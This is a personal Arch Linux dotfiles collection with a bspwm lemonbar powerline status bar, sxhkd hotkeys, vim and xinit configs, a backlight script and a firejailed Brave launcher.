CMDEnd=$(powerTextL ${SEC_0} ${BG} "$ICON ${CMD}" ${SEC_2} ${LEFT_HARD_DIVIDER}) 48 | echo "${CMDEnd}" 49 | } 50 | 51 | cpu() { 52 | local ICON=$(pIcon ${FG} ${CCPU}) 53 | TEMP=$(sensors | grep -oP 'Tdie.*?\+\K[0-9.]+') 54 | calcFunc(){ 55 | awk "BEGIN {print $*}" 2> /dev/null; 56 | } 57 | if [[ -f "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq" ]]; then 58 | scaling_freq_file="/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq" 59 | fi 60 | if [[ -n "$scaling_freq_file" ]]; then 61 | cpu_mhz=$(( $(< /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq) / 1000 )) 62 | else 63 | cpu_mhz=$(lscpu | awk -F ":" '/MHz/ {print $2;exit}') 64 | cpu_mhz=$(printf "%.0f" "${cpu_mhz//[[:space:]]/}") 65 | fi 66 | if [[ -n "$cpu_mhz" ]]; then 67 | [[ "$cpu_mhz" -le "999" ]] && cpu_freq="$cpu_mhz MHz" || cpu_freq="$(printf "%.1f" $(calcFunc "$cpu_mhz"/1000)) GHz" 68 | [[ "${cpu_freq}" == *".0"* ]] && cpu_freq="${cpu_freq/.0/}" 69 | fi 70 | sys_cores=$(grep -c "^processor" /proc/cpuinfo)x 71 | cpu_raw=$(ps -eo pcpu,rss --no-headers | grep -E -v " 0") 72 | cpu_perc=$(awk '{sum+=$1} END {printf "%.0f\n", sum/'"$sys_cores"'}' <<< "$cpu_raw") 73 | local CMD=$(powerTextL ${SEC_2} ${FG} "${ICON} $sys_cores $cpu_freq " ${SEC_4} ${LEFT_HARD_DIVIDER}) 74 | echo "${CMD} " 75 | } 76 | 77 | ram() { 78 | local ICON=$(pIcon ${BG} ${CRAM}) 79 | local SEP=$(pIcon ${BG} ${LEFT_SOFT_DIVIDER}) 80 | read -r -a ram_raw <<< "$(awk '/MemTotal:/{total=$2} /MemFree:/{free=$2} /Buffers:/{buffers=$2} /^Cached:/{cached=$2} \ 81 | END {printf "%.0f %.0f %.0f", (total-free-buffers-cached)*100/total, \ 82 | (total-free-buffers-cached)*1024, total*1024}' /proc/meminfo)" 83 | ram_perc="${ram_raw[0]}" 84 | ram_used="${ram_raw[1]}" 85 | ram_total="${ram_raw[2]}" 86 | 87 | local FREE=`free | awk '/Mem:/ {print int($3/$2 * 100.0)}'` 88 | local CMD=$(pText ${BG} "${FREE}%" ) 89 | local CMDEnd=$(powerTextL ${SEC_4} ${BG} "${ICON} ${CMD} ${SEP} Used: $(hrBytes "$ram_used") of $(hrBytes "$ram_total")" ${SEC_5} ${LEFT_HARD_DIVIDER}) 90 | echo "$CMDEnd" 91 | } 92 | 93 | WM() { 94 | CURRENT_ICON=$(GetIcon) 95 | local CMD=$(powerTextL ${SEC_5} ${FG} "${CURRENT_ICON}" ${RED} ${LEFT_HARD_DIVIDER}) 96 | echo "$CMD" 97 | } 98 | 99 | pihole() { 100 | local icon=$(pIcon ${BG} ${PI}) 101 | #local extinf=$(pText ${FG} "Ads blocked: ${ads_b}") 102 | local extinf=$(powerTextL ${RED} ${BG} "${icon} Ads blocked: ${ads_b}" ${SEC_5} ${LEFT_HARD_DIVIDER}) 103 | echo "${extinf}" 104 | } 105 | 106 | SEP_L(){ 107 | local CMD=$(powerTextL ${SEC_5} ${WHITE} "" ${BG} ${LEFT_HARD_DIVIDER}) 108 | echo "$CMD" 109 | } 110 | ## End left section 111 | 112 | 113 | #start rigt section 114 | SEP_R() { 115 | local CMD=$(powerTextStart ${SEC_5} ${BG} "" ${RED} ${RIGHT_HARD_DIVIDER}) 116 | echo "$CMD" 117 | } 118 | 119 | energy() { 120 | local ac=/sys/class/power_supply/ACAD/online 121 | local bat=/sys/class/power_supply/BAT0/present 122 | local stat=$(cat /sys/class/power_supply/BAT0/status) 123 | local icon="" 124 | local batCap="" 125 | if [[ -e $bat ]] && [[ $(cat $ac) -lt 1 ]]; then 126 | batCap1="$(cat ${bat%/*}/capacity)%" 127 | batCap="$(cat ${bat%/*}/capacity)" 128 | [ $batCap -ge 90 ] && icon=$BAT100 129 | [ $batCap -ge 70 ] && [ $batCap -le 90 ] && icon=$BAT70 130 | [ $batCap -ge 50 ] && [ $batCap -le 70 ] && icon=$BAT50 131 | [ $batCap -ge 30 ] && [ $batCap -le 50 ] && icon=$BAT30 132 | [ $batCap -ge 15 ] && [ $batCap -le 30 ] && icon=$BAT15 133 | [ $batCap -ge 7 ] && [ $batCap -le 15 ] && icon=$BAT7 134 | [ $batCap -le 7 ] && icon=$BAT7 135 | elif [[ -n $(cat $ac) ]]; then 136 | batCap1="$(cat ${bat%/*}/capacity)%" 137 | batCap="$(cat ${bat%/*}/capacity)" 138 | [ $batCap -ge 90 ] && icon=$BATC100 139 | [ $batCap -ge 70 ] && [ $batCap -le 90 ] && icon=$BATC70 140 | [ $batCap -ge 50 ] && [ $batCap -le 70 ] && icon=$BATC50 141 | [ $batCap -ge 30 ] && [ $batCap -le 50 ] && icon=$BATC30 142 | [ $batCap -ge 15 ] && [ $batCap -le 30 ] && icon=$BATC30 143 | [ $batCap -ge 7 ] && [ $batCap -le 15 ] && icon=$BACT30 144 | [ $batCap -le 7 ] && icon=$BATC30 145 | else 146 | batCap1="wttf" 147 | fi 148 | local icon=$(pIcon ${BG} ${icon}) 149 | local extinf=$(powerTextR ${RED} ${FG} "$icon $batCap1 $stat" ${SEC_4} ${RIGHT_HARD_DIVIDER}) 150 | echo "$extinf" 151 | } 152 | 153 | disk() { 154 | local icon=$(pIcon ${BG} ${CDISK}) 155 | local SEP=$(pIcon ${BG} ${RIGHT_SOFT_DIVIDER}) 156 | read -r -a disk_raw <<< "$(df -B1 / 2> /dev/null | awk 'END{ print $3,$2,$5 }')" 157 | disk_used="${disk_raw[0]}" 158 | disk_total="${disk_raw[1]}" 159 | disk_perc="${disk_raw[2]}" 160 | local cmd="$(df -h /home | tail -1 | awk '{print int($4/$2*100)"%"}')" 161 | local cmdEnd=$(pText ${FG} "${cmd}" ) 162 | local extinf=$(powerTextR ${SEC_4} ${FG} "${icon} ${disk_perc} $SEP Used: $(hrBytes "$disk_used") of $(hrBytes "$disk_total")" ${SEC_2} ${RIGHT_HARD_DIVIDER}) 163 | echo "${extinf}" 164 | } 165 | 166 | net() { 167 | local _GETIWL=$(/sbin/iwgetid -r) 168 | local _GETETH=$(ip a | grep "state UP" | awk '{ORS=""}{print $2}' | cut -d ':' -f 1) 169 | local _status=${_GETIWL:-$_GETETH} 170 | local _status2="${_status:-Down}" 171 | local icon="$(pIcon ${FG} ${CWIFI})" 172 | local cmd=$(powerTextR ${SEC_2} ${FG} "$icon ${_status2}" ${SEC_0} ${RIGHT_HARD_DIVIDER}) 173 | echo "${cmd}" 174 | } 175 | 176 | getDay() { 177 | local icon=$(pIcon ${BG} ${CCAL}) 178 | local sep=$(pIcon ${BG} ${RIGHT_SOFT_DIVIDER}) 179 | local cmdDate="$(date '+%A %d %b')" 180 | local cmdEnd=$(pText ${FG} "${cmd}") 181 | local cmdHour=$(date +%H:%M) 182 | local extinf=$(pText ${BG} "$cmdDate") 183 | local cmdEnd=$(pText ${BG} "$cmdHour") 184 | local CMD=$(powerTextEnd ${SEC_0} " ${icon} $extinf $sep ${cmdEnd} " ) 185 | echo ${CMD} 186 | } 187 | ##End rigt section 188 | 189 | ##Useless 190 | music() { 191 | local icon=$(pIcon ${MAGENTA2} ${CIP}) 192 | local stat="$(mpc status | grep \# | awk '{print $1}')" 193 | local artist=$(mpc -f %artist% current) 194 | local musicname=$(mpc -f %title% current) 195 | local cmd="" 196 | if [ "${stat}" ] && [ "${stat}" = "[playing]" ] ; then 197 | local cmd="Playing >> ${artist:0:10} - ${musicname:0:15}" 198 | elif [ "${stat}" ] && [ "${stat}" = "[paused]" ] ; then 199 | local cmd="Paused >> ${artist:0:10} - ${musicname:0:20}" 200 | else 201 | local cmd="Stopped" 202 | fi 203 | local cmdEnd=$(pText ${FG} "${cmd}") 204 | echo "${icon} ${cmdEnd} ${icon}" 205 | } 206 | 207 | mail() { 208 | local gmaildir=/home/user/.mails/Gmail/\[Gmail\].All\ Mail/new 209 | local cmd=$(pAction ${BLUE} ${BG} "i3 'exec termite -e mutt'" ${CMAIL}) 210 | local count=0 211 | if [[ ! -n $(ls "${gmaildir}") ]]; then 212 | count=0 213 | else 214 | count=$(ls -1 "${gmaildir}" | wc -l) 215 | fi 216 | echo "${cmd} ${count}" 217 | } 218 | 219 | while :; do 220 | echo "S%{l}$(host)$(cpu)$(ram)$(WM)$(pihole)$(SEP_L)%{r}$(SEP_R)$(energy)$(disk)$(net)$(getDay)" 221 | sleep .5 222 | done 223 | } > "$PANEL_FIFO" & 224 | 225 | $(dirname $0)/panel_bar < "$PANEL_FIFO" | lemonbar \ 226 | -a 32 \ 227 | -n "$PANEL_WM_NAME" \ 228 | -g ${BARWIDTH}x${BARHEIGHT}+${EDGEWIDTH}+${UPPERWIDTH} \ 229 | -u 2 \ 230 | -f "${FONT}" \ 231 | -f "${ICONS}" \ 232 | -F "${FG}" \ 233 | -B "${BG}" | sh | while read line; do eval "$line"; done & 234 | 235 | wid=$(xdo id -a "$PANEL_WM_NAME") 236 | tries_left=20 237 | while [ -z "$wid" -a "$tries_left" -gt 0 ] ; do 238 | sleep 0.05 239 | wid=$(xdo id -a "$PANEL_WM_NAME") 240 | tries_left=$((tries_left - 1)) 241 | done 242 | [ -n "$wid" ] && xdo above -t "$(xdo id -N Bspwm -n root | sort | head -n 1)" "$wid" 243 | 244 | wait 245 | -------------------------------------------------------------------------------- /.themes/bspwm/Powerline/panel_bar: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | # 3 | 4 | source $(dirname $0)/config_bar 5 | source $(dirname $0)/panel_colors 6 | #source $(dirname $0)/panel_icons 7 | 8 | num_mon=$(bspc query -M | wc -l) 9 | 10 | while read -r line ; do 11 | case $line in 12 | S*) 13 | #sys="%{F$COLOR_SYS_FG}%{B$COLOR_SYS_BG} ${line#?} %{B-}%{F-}" 14 | sysR="${line#?}" 15 | ;; 16 | T*) 17 | #title="%{F$COLOR_TITLE_FG}%{B$COLOR_TITLE_BG} ${line#?} %{B-}%{F-}" 18 | sysL="${line#?}" 19 | ;; 20 | W*) 21 | # bspwm's state 22 | wm="" 23 | IFS=':' 24 | set -- ${line#?} 25 | while [ $# -gt 0 ] ; do 26 | item=$1 27 | name=${item#?} 28 | case $item in 29 | [mM]*) 30 | [ $num_mon -lt 2 ] && shift && continue 31 | case $item in 32 | m*) 33 | # monitor 34 | FG=$FG 35 | BG=$BG 36 | ;; 37 | M*) 38 | # focused monitor 39 | FG=$fg 40 | BG=$BG 41 | ;; 42 | esac 43 | wm="${wm}%{F${FG}}%{B${BG}}%{A:bspc monitor -f ${name}:} ${name} %{A}%{B-}%{F-}" 44 | ;; 45 | [fFoOuU]*) 46 | case $item in 47 | f*) 48 | # free desktop 49 | FG=$fg 50 | IC=${CWS} 51 | BG=$BG 52 | ;; 53 | F*) 54 | # focused free desktop 55 | FG=$FG 56 | IC=${CNONE} 57 | BG=$BG 58 | ;; 59 | o*) 60 | # occupied desktop 61 | FG=$GREEN 62 | IC=${CWS} 63 | BG=$BG 64 | ;; 65 | O*) 66 | # focused occupied desktop 67 | FG=$RED 68 | IC=${CNONE} 69 | BG=$BG 70 | ;; 71 | u*) 72 | # urgent desktop 73 | FG=$YELLOW 74 | IC=${CNONE} 75 | BG=$BG 76 | ;; 77 | U*) 78 | # focused urgent desktop 79 | FG=$YELLOW 80 | IC=${CFULL} 81 | BG=$BG 82 | ;; 83 | esac 84 | wm="${wm}%{F${FG}}%{B${BG}}%{A:bspc desktop -f ${name}:} $(printf '%b' $IC)%{A}%{B-}%{F-}" 85 | ;; 86 | [LTG]*) 87 | # layout, state and flags 88 | wm="${wm}%{F$FG}%{F-}" 89 | ;; 90 | esac 91 | shift 92 | done 93 | ;; 94 | esac 95 | printf "%s\n" "%{l}${sysL}%{r}${sysR}" 96 | done 97 | -------------------------------------------------------------------------------- /.themes/bspwm/Powerline/powerline.conf: -------------------------------------------------------------------------------- 1 | SEC_0="#979997" 2 | SEC_1="#282a2e" 3 | SEC_2="#454a4f" 4 | SEC_3="#55595d" 5 | SEC_4="#8a8a8a" 6 | SEC_5="#444444" 7 | 8 | RIGHT_HARD_DIVIDER="\ue0b2" 9 | RIGHT_SOFT_DIVIDER="\ue0b3" 10 | LEFT_HARD_DIVIDER="\ue0b0" 11 | LEFT_SOFT_DIVIDER="\ue0b1" 12 | 13 | #powerline fire 14 | #right_hard_divider="\ue0c2" 15 | #right_soft_divider="\ue0c3" 16 | #left_hard_divider="\ue0c0" 17 | #left_soft_divider="\ue0c1:" 18 | 19 | powerTextL() { 20 | echo "%{B$1}%{F$2} $3 %{F-}%{B-}%{F$1}%{B-}%{B$4}$(printf '%b'$5)" 21 | } 22 | 23 | powerTextR() { 24 | echo "%{B$1}%{F$2} $3 %{F-}%{F$4}$(printf '%b' $5)%{B-}" 25 | } 26 | 27 | powerTextStart() { 28 | echo "%{F$1}$(printf '%b'$5)%{B$1}%{F$2} $3 %{F-}%{B-}%{F$4}%{B-}%{B$1}$(printf '%b'$5)" 29 | } 30 | 31 | powerTextEnd() { 32 | echo "%{B$1}$2%{B-}" 33 | } 34 | -------------------------------------------------------------------------------- /.themes/bspwm/sxhkd/sxhkdrc: -------------------------------------------------------------------------------- 1 | f# 2 | # wm independent hotkeys 3 | 4 | mod4 + alt + {_,shift + }Escape 5 | {bspc wm -d > "$BSPWM_STATE" && bspc quit, \ 6 | bspc quit 1} 7 | 8 | #mod4 + alt + {_,shift + }Escape 9 | # {bspc query -T > "$BSPWM_TREE"; \ 10 | # bspc query -H > "$BSPWM_HISTORY"; \ 11 | # bspc quit,\ 12 | # pkill -USR1 -x sxhkd;\ 13 | # pkill -x panel;\ 14 | # bspc quit 1} 15 | 16 | #mod4 + alt + Escape 17 | # pkill -x panel; bspc quit 18 | 19 | # terminal emulator 20 | mod4 + Return 21 | xterm -e fish 22 | #urxvt -e fish 23 | 24 | mod4 + n 25 | nautilus 26 | 27 | # program launcher 28 | mod4 + d 29 | rofi -show drun 30 | #$HOME/.dmenurc 31 | 32 | mod4 + b 33 | $HOME/Scripts/brave-sec 34 | 35 | mod4 + shift + d 36 | rofi -show window 37 | 38 | # make sxhkd reload its configuration files: 39 | mod4 + Escape 40 | pkill -USR1 -x sxhkd 41 | 42 | Print 43 | scrot 'Screenshot-%Y%m%d%H%M%S_$wx$h.png' -e 'mv $f ~/Imágenes/Capturas' 44 | 45 | mod4 + p 46 | $HOME/Scripts/pawr.sh 47 | 48 | mod4 + i 49 | $HOME/Scripts/switch_wifi.sh 50 | 51 | # brig 52 | {XF86MonBrightnessDown,XF86MonBrightnessUp} 53 | xbacklight {-dec,-inc} 10 54 | 55 | # vol 56 | {XF86AudioRaiseVolume,XF86AudioLowerVolume} 57 | {pactl set-sink-volume 0 {+5%,-5%} 58 | 59 | # mpv global controls 60 | XF86AudioPlay 61 | mpc toggle 62 | 63 | XF86AudioStop 64 | mpc stop 65 | 66 | XF86Audio{Prev,Next} 67 | mpc {prev,next} 68 | 69 | # 70 | # bspwm hotkeys 71 | # 72 | 73 | # quit bspwm normally 74 | #mod4 + alt + Escape 75 | # bspc quit 76 | 77 | # close and kill 78 | mod4 + shift + q 79 | bspc node -{c,k} 80 | 81 | # alternate between the tiled and monocle layout 82 | mod4 + m 83 | bspc desktop -l next 84 | 85 | # if the current node is automatic, send it to the last manual, otherwise pull the last leaf 86 | mod4 + y 87 | bspc query -N -n focused.automatic && bspc node -n last.!automatic || bspc node last.leaf -n focused 88 | 89 | # swap the current node and the biggest node 90 | mod4 + g 91 | bspc node -s biggest 92 | 93 | # 94 | # state/flags 95 | # 96 | 97 | # set the window state 98 | #mod4 + {t,s} 99 | # bspc node -t {pseudo_tiled,floating} 100 | 101 | #mod4 + f 102 | # bspc node -t {tiled,fullscreen} 103 | 104 | mod4 + {t,shift + t,s,f} 105 | bspc node -t {tiled,pseudo_tiled,floating,fullscreen} 106 | 107 | 108 | # set the node flags 109 | mod4 + ctrl + {x,y,z} 110 | bspc node -g {locked,sticky,private} 111 | 112 | # 113 | # focus/swap 114 | # 115 | 116 | mod4 + {Left,Down,Up,Right} 117 | bspc node -{f,s} {west,south,north,east} 118 | 119 | mod4 + {p,b,comma,period} 120 | bspc node -f @{parent,brother,first,second} 121 | 122 | # focus the next/previous node in the current desktop 123 | mod4 + {_,shift + } 124 | bspc node -f {next,prev}.local 125 | 126 | # focus the next/previous desktop in the current monitor 127 | mod4 + bracket{left,right} 128 | bspc desktop -f {prev,next}.local 129 | 130 | # focus the last node/desktop 131 | mod4 + {grave,Tab} 132 | bspc {node,desktop} -f last 133 | 134 | # focus the older or newer node in the focus history 135 | #mod4 + {o,u} 136 | # bspc node -p {west,south} 137 | 138 | mod4 + {h,j,k,l} 139 | bspc node -p {west,south,north,east} 140 | 141 | # focus or send to the given desktop 142 | mod4 + {_,shift + }{1-9,0} 143 | bspc {desktop -f,node -d} '^{1-9,10}' 144 | 145 | # 146 | # preselect 147 | # 148 | 149 | # preselect the ratio 150 | mod4 + ctrl + {1-9} 151 | bspc node -o 0.{1-9} 152 | 153 | # cancel the preselection for the focused node 154 | shift + c 155 | bspc node -p cancel 156 | 157 | # cancel the preselection for the focused desktop 158 | mod4 + ctrl + shift + space 159 | bspc query -N -d | xargs -I id -n 1 bspc node id -p cancel 160 | 161 | # 162 | # move/resize 163 | # 164 | 165 | # expand a window by moving one of its side outward 166 | mod4 + alt + {Left,Down,Up,Right} 167 | bspc node -z {left -20 0,bottom 0 20,top 0 -20,right 20 0} 168 | 169 | # contract a window by moving one of its side inward 170 | #mod4 + alt + shift + {Right,Down,Up,Left} 171 | # bspc node -z {right -20 0,top 0 20,bottom 0 -20,left 20 0} 172 | 173 | ctrl + shift + {h,j,k,l} 174 | bspc node -z {right -20 0,top 0 20,bottom 0 -20,left 20 0} 175 | 176 | # move a floating window 177 | mod4 + shift + {h,j,k,l} 178 | bspc node -v {-20 0,0 20,0 -20,20 0} 179 | 180 | #mod4 + {Left,Down,Up,Right} 181 | # bspc node -v {-20 0,0 20,0 -20,20 0} 182 | 183 | alt + shift {a,s,d,f} 184 | bspc window -w {left.manual,down.manual,up.manual,right.manual} 185 | 186 | mod4 + o 187 | $HOME/Documentos/t.sh 188 | -------------------------------------------------------------------------------- /.vimrc: -------------------------------------------------------------------------------- 1 | "Use the vim settings, not vi 2 | set nocompatible 3 | " 4 | "Sets the size of vim's command history: 5 | set history=1000 6 | " 7 | set rtp+=/home/magdeoz/.local/lib/python3.5/site-packages/powerline/bindings/vim 8 | 9 | "Enables the recognition files 10 | filetype plugin on 11 | filetype indent on 12 | " 13 | "Reloads the file if it is edited by an external program while open 14 | set autoread 15 | " 16 | "Disable backups: 17 | set nobackup 18 | set noswapfile 19 | set nowritebackup 20 | " 21 | "It shows the way you are 22 | set showmode 23 | " 24 | " Search: 25 | set hlsearch 26 | set ignorecase 27 | set smartcase 28 | set incsearch 29 | " 30 | "Clear the outstanding results: 31 | nmap :silent noh 32 | " 33 | " Clipboard system: 34 | set clipboard=unnamed 35 | " 36 | "Height command bar 37 | set cmdheight=2 38 | " 39 | "Enable regular expressions 40 | set magic 41 | " 42 | "Enable syntax highlighting 43 | syntax on 44 | " 45 | "Vim color scheme 46 | colorscheme wal 47 | 48 | set background=dark 49 | "highlight Normal ctermbg=DarkBlue 50 | 51 | "Ruler breaks and number of lines: 52 | set nolinebreak 53 | set number 54 | set ruler 55 | " 56 | "It allows navigation within a long line with j and k 57 | set wrap 58 | " 59 | "Insert spaces instead of tab characters 60 | set expandtab 61 | " 62 | "Smart Tabs Use 63 | set smarttab 64 | " 65 | "Sets a tab as eight spaces 66 | set shiftwidth=8 67 | set tabstop=8 68 | " 69 | "Every time you close a parenthesis, bracket or brace, Vi shows where it was opened. If there is no pair. 70 | set sm 71 | " 72 | "It shows the file name at the top of the prompt 73 | set title 74 | 75 | set laststatus=2 76 | 77 | set encoding=utf-8 78 | 79 | set showtabline=2 80 | 81 | set noshowmode 82 | 83 | set fillchars+=stl:\ ,stlnc:\ 84 | 85 | "Shortcuts 86 | 87 | nnoremap @=((foldclosed(line('.')) < 0) ? 'zc' : 'zo') 88 | 89 | " Plugins 90 | 91 | "Patogen 92 | execute pathogen#infect() 93 | 94 | if isdirectory(expand("~/.vim/bundle/nerdtree")) 95 | map :NERDTreeToggle 96 | map e :NERDTreeFind 97 | nmap nt :NERDTreeFind 98 | 99 | let NERDTreeShowBookmarks=1 100 | let NERDTreeIgnore=['\.py[cd]$', '\~$', '\.swo$', '\.swp$', '^\.git$', '^\.hg$', '^\.svn$', '\.bzr$'] 101 | let NERDTreeChDirMode=0 102 | let NERDTreeQuitOnOpen=1 103 | let NERDTreeMouseMode=2 104 | let NERDTreeShowHidden=1 105 | let NERDTreeKeepTreeInNewTab=1 106 | let g:nerdtree_tabs_open_on_gui_startup=0 107 | endif 108 | 109 | " YouCompleteMe 110 | 111 | let g:ycm_global_ycm_extra_conf = '~/.vim/bundle/YouCompleteMe/third_party/ycmd/cpp/ycm/.ycm_extra_conf.py' 112 | let g:ycm_autoclose_preview_window_after_completion=1 113 | nnoremap g :YcmCompleter GoToDefinitionElseDeclaration 114 | autocmd FileType python setlocal omnifunc=pythoncomplete#Complete 115 | autocmd FileType css setlocal omnifunc=csscomplete#CompleteCSS 116 | autocmd FileType html,markdown setlocal omnifunc=htmlcomplete#CompleteTags 117 | autocmd FileType javascript setlocal omnifunc=javascriptcomplete#CompleteJS 118 | 119 | "Python-mode 120 | 121 | " Override go-to.definition key shortcut to Ctrl-] 122 | let g:pymode_rope_goto_definition_bind = "" 123 | " 124 | " Override run current python file key shortcut to Ctrl-Shift-e 125 | let g:pymode_run_bind = "" 126 | " 127 | " Override view python doc key shortcut to Ctrl-Shift-d 128 | let g:pymode_doc_bind = "" 129 | 130 | " vim-airline 131 | let g:airline_theme = 'base16_grayscale' 132 | let g:airline#extensions#syntastic#enabled = 1 133 | let g:airline#extensions#branch#enabled = 1 134 | let g:airline#extensions#tabline#enabled = 1 135 | let g:airline_powerline_fonts = 1 136 | " vim-airline 137 | if !exists('g:airline_symbols') 138 | let g:airline_symbols = {} 139 | endif 140 | 141 | if !exists('g:airline_powerline_fonts') 142 | let g:airline#extensions#tabline#left_sep = ' ' 143 | let g:airline#extensions#tabline#left_alt_sep = '|' 144 | let g:airline_left_sep = '▶' 145 | let g:airline_left_alt_sep = '»' 146 | let g:airline_right_sep = '◀' 147 | let g:airline_right_alt_sep = '«' 148 | let g:airline#extensions#branch#prefix = '⤴' "➔, ➥, ⎇ 149 | let g:airline#extensions#readonly#symbol = '⊘' 150 | let g:airline#extensions#linecolumn#prefix = '¶' 151 | let g:airline#extensions#paste#symbol = 'ρ' 152 | let g:airline_symbols.linenr = '␊' 153 | let g:airline_symbols.branch = '⎇' 154 | let g:airline_symbols.paste = 'ρ' 155 | let g:airline_symbols.paste = 'Þ' 156 | let g:airline_symbols.paste = '∥' 157 | let g:airline_symbols.whitespace = 'Ξ' 158 | else 159 | let g:airline#extensions#tabline#left_sep = '' 160 | let g:airline#extensions#tabline#left_alt_sep = '' 161 | 162 | " powerline symbols 163 | let g:airline_left_sep = '' 164 | let g:airline_left_alt_sep = '' 165 | let g:airline_right_sep = '' 166 | endif 167 | -------------------------------------------------------------------------------- /.xinitrc: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | userresources=$HOME/.Xresources 4 | usermodmap=$HOME/.Xmodmap 5 | sysresources=/etc/X11/xinit/.Xresources 6 | sysmodmap=/etc/X11/xinit/.Xmodmap 7 | 8 | # merge in defaults and keymaps 9 | 10 | if [ -f $sysresources ]; then 11 | xrdb -merge $sysresources 12 | fi 13 | 14 | if [ -f $sysmodmap ]; then 15 | xmodmap $sysmodmap 16 | fi 17 | 18 | if [ -f "$userresources" ]; then 19 | xrdb -merge "$userresources" 20 | fi 21 | 22 | if [ -f "$usermodmap" ]; then 23 | xmodmap "$usermodmap" 24 | fi 25 | 26 | # start some nice programs 27 | 28 | if [ -d /etc/X11/xinit/xinitrc.d ] ; then 29 | for f in /etc/X11/xinit/xinitrc.d/?*.sh ; do 30 | [ -x "$f" ] && . "$f" 31 | done 32 | unset f 33 | fi 34 | 35 | # Gnome services 36 | /usr/lib/polkit-gnome/polkit-gnome-authentication-agent-1 & 37 | 38 | xset fp+ $HOME/.fonts 39 | xset fp+ $HOME/.fonts/misc 40 | xset fp+ $HOME/.fonts/terminesspowerline 41 | xset fp rehash 42 | 43 | #color temperature 44 | #redshift -l 20.57:100.16 -m randr -t 5500:4500 -g 0.75:0.75:0.7 & 45 | #redshift -o -l 0:0 -b 0.8 -t 3900:3900 & 46 | 47 | #redshift -o -l 20.57:100.16 -m randr -t 5500:4500 48 | xset b off 49 | 50 | # composite manager 51 | compton --config ~/.compton.conf -b 52 | #bash ~/Scripts/wallpaper.sh 53 | #numlockx & 54 | #mpd daemon 55 | #mpd ~/.mpd/mpd.conf 56 | 57 | # Volnoti daemon 58 | #volnoti 59 | 60 | #Hide mouse cursor 61 | unclutter -root -visible & 62 | 63 | #exec i3 64 | #exec herbstluftwm 65 | exec bspwm 66 | #exec awesome 67 | #xbindkeys 68 | #exec openbox-session 69 | #exec xmonad 70 | #exec way-cooler3exec gnome-session 71 | 72 | redshift -o -l 20.57:100.16 -m randr -t 5500:4500 73 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 | 4 |

5 | 6 | # Details 7 | 8 | | Item | Value | 9 | | :--- | :---- | 10 | | OS | archlinux | 11 | | Fav WM(s) | Bspwm, i3, herbstluftwm | 12 | | Shell | fish, bash, zsh | 13 | | DM | xinit | 14 | | Font | iosevka Ner Font | 15 | | Compositor | compton | 16 | | Notification | dunst | 17 | | Terminal | XTerm. URxvt, termite | 18 | | Launcher | rofi, dmenu | 19 | | Bar | Lemonbar, dzen2 | 20 | | Wallpaper | feh | 21 | | Lock Screen | none | 22 | | Logout / Shutdown | systemd | 23 | | Volume Control | amixer | 24 | | Brightness Controller | xbacklight script | 25 | | Network Applet | nm-applet | 26 | | Bluetooth Applet | blueman-applet | 27 | | Text Editor | vim, nano, gedit | 28 | 29 | ## Preview 30 | ## bspwm 31 | ![bspwm](https://i.redd.it/lrp0awvjwnx21.png) 32 | -------------------------------------------------------------------------------- /Scripts/backlight.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # backlight brightness controls. use freely 4 | # and adjust sysfs directory if not on toshiba 5 | # $author Brice Burgess @iceburg 6 | 7 | sysfs="/sys/class/backlight/amdgpu_bl0" 8 | max=`cat ${sysfs}/max_brightness` 9 | level=`cat ${sysfs}/brightness` 10 | 11 | 12 | usage() 13 | { 14 | script=${0##*/} 15 | echo 16 | echo "Invalid usage of ${script}!" 17 | echo " $1" 18 | echo "----------------" 19 | echo "$script up : increases brightness" 20 | echo "$script down : decreases brightness" 21 | echo "$script set # : sets brightness to # (integer)" 22 | echo "----------------" 23 | echo 24 | 25 | 26 | exit 1 27 | } 28 | 29 | set_brightness() 30 | { 31 | 32 | level=$1 33 | 34 | if [ $level -lt 1 ] ; then 35 | level=1 36 | elif [ $level -gt $max ] ; then 37 | level=$max 38 | fi 39 | 40 | echo $level > $sysfs/brightness 41 | } 42 | 43 | case "$1" in 44 | up) 45 | let "level+=1" 46 | set_brightness $level 47 | ;; 48 | down) 49 | let "level-=1" 50 | set_brightness $level 51 | ;; 52 | set) 53 | if [[ ! $2 =~ ^[[:digit:]]+$ ]]; then 54 | usage "second argument must be an integer" 55 | fi 56 | 57 | set_brightness $2 58 | ;; 59 | *) 60 | usage "invalid argument" 61 | esac 62 | -------------------------------------------------------------------------------- /Scripts/brave-sec: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # list http://useragentstring.com/pages/useragentstring.php/ 4 | agentsList=( 5 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:64.0) Gecko/20100101 Firefox/64.0" 6 | "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0" 7 | ) 8 | 9 | RANDOM=$$$(date +%s) 10 | rand=$[$RANDOM % ${#agentsList[@]}] 11 | agent="${agentsList[$rand]}" 12 | 13 | # Create the tmp 14 | 15 | # -no-sandbox is require to start chrome based browser with firejail --seccomp 16 | #/usr/bin/firejail --apparmor \ 17 | # /usr/bin/brave -no-sandbox \ 18 | # --disk-cache-dir=/tmp/brave-cache 19 | 20 | /usr/bin/firejail --apparmor \ 21 | /usr/bin/brave -no-sandbox \ 22 | -user-agent="${agent}" --disk-cache-dir=/tmp/brave-cache 23 | -------------------------------------------------------------------------------- /Scripts/connect.X: -------------------------------------------------------------------------------- 1 | #define bg #171c1a 2 | #define fg #585c55 3 | #define blk #171c1a 4 | #define red #6b524b 5 | #define grn #29322e 6 | #define ylw #47473d 7 | #define blu #253533 8 | #define mag #3f3f36 9 | #define cyn #374539 10 | #define wht #4d554e 11 | #define bblk #202724 12 | #define bred #7e6057 13 | #define bgrn #323d38 14 | #define bylw #505047 15 | #define bblu #2c3e3c 16 | #define bmag #3f3f36 17 | #define bcyn #3e4e40 18 | #define bwht #5e665f 19 | -------------------------------------------------------------------------------- /Scripts/convert-2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | sed -e "s/\*color:\ //g" \ 3 | -e 's/bg/*background:/' \ 4 | -e 's/fg/*foreground:/' \ 5 | -e 's/*color0:/blk/' \ 6 | -e 's/*color1:/red/' 